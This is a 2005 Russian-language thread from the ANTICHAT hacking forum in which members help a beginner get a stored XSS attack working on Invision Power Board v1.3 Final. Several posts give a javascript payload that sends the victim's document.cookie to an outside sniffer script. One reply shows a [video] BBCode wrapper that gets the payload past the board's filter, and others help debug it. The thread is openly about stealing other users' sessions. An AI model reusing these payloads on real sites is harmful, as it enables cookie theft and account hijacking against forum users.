HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Перезагрузить страницу Вопрос по использованию XSS на Powered by Invision Power Board(U) v1.3 Final
   
Ответ
Страница 1 из 2 1 2 >
 
Опции темы Поиск в этой теме Опции просмотра

Вопрос по использованию XSS на Powered by Invision Power Board(U) v1.3 Final
  #1  
Старый 31.01.2005, 18:36
rsha1988
Участник форума
Регистрация: 03.01.2005
Сообщений: 270
С нами: 11237205

Репутация: 6
Question Вопрос по использованию XSS на Powered by Invision Power Board(U) v1.3 Final
В форуме Powered by Invision Power Board(U) v1.3 Final © 2003 IPS, Inc.
вставляю :
'>` style=background:url(javascript:document.images[68].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)
И чето не каких кук в снифере не вижу!
Что я сделал неправильно?
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 31.01.2005, 19:42
Del
Новичок
Регистрация: 24.01.2005
Сообщений: 6
С нами: 11206163

Репутация: 0
По умолчанию
В файнале фильтруются многие символы...
Посмотри Html
Кстати фильтр мешает ещё и спаренные тэги использовать
 
Ответить с цитированием

  #3  
Старый 31.01.2005, 19:51
rsha1988
Участник форума
Регистрация: 03.01.2005
Сообщений: 270
С нами: 11237205

Репутация: 6
По умолчанию
А можно чуть чуть по подробнее?
Я вставляю в сообщение эту фигню:
'>` style=background:url(javascript:document.images[68].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)
и она не меняеться не фига когда попадает в тему, так же и остаеться!
 
Ответить с цитированием

  #4  
Старый 31.01.2005, 23:34
Del
Новичок
Регистрация: 24.01.2005
Сообщений: 6
С нами: 11206163

Репутация: 0
По умолчанию
А к какому тэгу у тебя style в итоге относится?
 
Ответить с цитированием

  #5  
Старый 31.01.2005, 23:45
rsha1988
Участник форума
Регистрация: 03.01.2005
Сообщений: 270
С нами: 11237205

Репутация: 6
Post
Фиг знает....
Я же всетаки начанающий...
 
Ответить с цитированием

  #6  
Старый 05.02.2005, 18:56
foreva
Участник форума
Регистрация: 05.02.2005
Сообщений: 121
С нами: 11189246

Репутация: 10
По умолчанию
Вообще-то баг работает через определенные теги!
например:
Код:
[video]http://1.ru e=`[/video]` style=display:none;background:url(javascript:document.images[68].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie) Lol
Читай внимательнее инфу на сайте!!
http://antichat.ru/txt/IPB/
 
Ответить с цитированием

  #7  
Старый 05.02.2005, 21:33
byte57
Постоянный
Регистрация: 22.01.2005
Сообщений: 764
С нами: 11209466

Репутация: 67


По умолчанию
rsha1988, напиши как парсится в предпросмотре....
 
Ответить с цитированием

  #8  
Старый 07.02.2005, 03:01
rsha1988
Участник форума
Регистрация: 03.01.2005
Сообщений: 270
С нами: 11237205

Репутация: 6
По умолчанию
Цитата:
Сообщение от .::Gh0st::.  
rsha1988, напиши как парсится в предпросмотре....
переведи...
 
Ответить с цитированием

  #9  
Старый 07.02.2005, 06:39
BlackPrince
Познающий
Регистрация: 13.10.2004
Сообщений: 82
С нами: 11354906

Репутация: 13
По умолчанию
Цитата:
Сообщение от rsha1988  
переведи...
Скажи, что получается в HTML
 
Ответить с цитированием

  #10  
Старый 08.02.2005, 20:14
rsha1988
Участник форума
Регистрация: 03.01.2005
Сообщений: 270
С нами: 11237205

Репутация: 6
По умолчанию
[video]http://1.ru e=`[/video]` style=display:none;background:none;background:url( javascript:docum ent.images[68].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie) Lol - эт и получаеться!
 
Ответить с цитированием
Ответ
Страница 1 из 2 1 2 >



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Уязвимости в Invision Power Board(U) v1.3 PF1. Вопрос. dukalis(AwP) Уязвимости CMS / форумов 14 19.04.2006 19:40
Вопросы по форуму Invision Power Board(U) v1.3 Final © 2003(р) FRTD Уязвимости CMS / форумов 50 02.04.2005 02:48
SQL запрос в Powered by Invision Power Board(U) v1.3 Майор Уязвимости CMS / форумов 4 17.01.2005 01:56
Вопрос про уязвимости в Invision Power Board(U) v1.3 Final Майор Уязвимости CMS / форумов 15 14.01.2005 14:20



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.